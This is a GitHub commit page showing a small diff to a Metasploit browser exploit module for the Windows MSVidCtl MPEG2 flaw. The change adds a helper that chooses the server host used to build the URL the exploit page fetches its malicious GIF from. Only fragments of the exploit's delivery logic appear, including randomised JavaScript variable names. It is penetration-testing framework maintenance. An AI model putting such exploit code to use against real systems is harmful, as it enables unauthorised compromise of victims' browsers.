Skip to content

Commit 2b7d259

Browse files
committed
2 parents 71a96f2 + 0dbfecb commit 2b7d259

File tree

1 file changed

+8
-1
lines changed

1 file changed

+8
-1
lines changed

modules/exploits/windows/browser/msvidctl_mpeg2.rb

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -75,6 +75,13 @@ def initialize(info = {})
7575
@javascript_encode_key = rand_text_alpha(rand(10) + 10)
7676
end
7777

78+
def get_srvhost
79+
# If the SRVHOST isn't the default 0.0.0.0, obviously the user wants to
80+
# specify, so we will not force source_address()
81+
return datastore['SRVHOST'] if datastore['SRVHOST'] != '0.0.0.0'
82+
Rex::Socket.source_address(cli.peerhost)
83+
end
84+
7885
def on_request_uri(cli, request)
7986

8087
if (request.uri.match(/\.gif$/i))
@@ -187,7 +194,7 @@ def on_request_uri(cli, request)
187194
j_memory = rand_text_alpha(rand(100) + 1)
188195
j_counter = rand_text_alpha(rand(30) + 2)
189196

190-
host = Rex::Socket.source_address(cli.peerhost) + ":" + (datastore["SRVPORT"].to_s)
197+
host = get_srvhost + ":" + (datastore["SRVPORT"].to_s)
191198
gif_uri = "http#{(datastore['SSL'] ? 's' : '')}://#{host}"
192199
if ("/" == get_resource[-1,1])
193200
gif_uri << get_resource[0, get_resource.length - 1]

0 commit comments

Comments
 (0)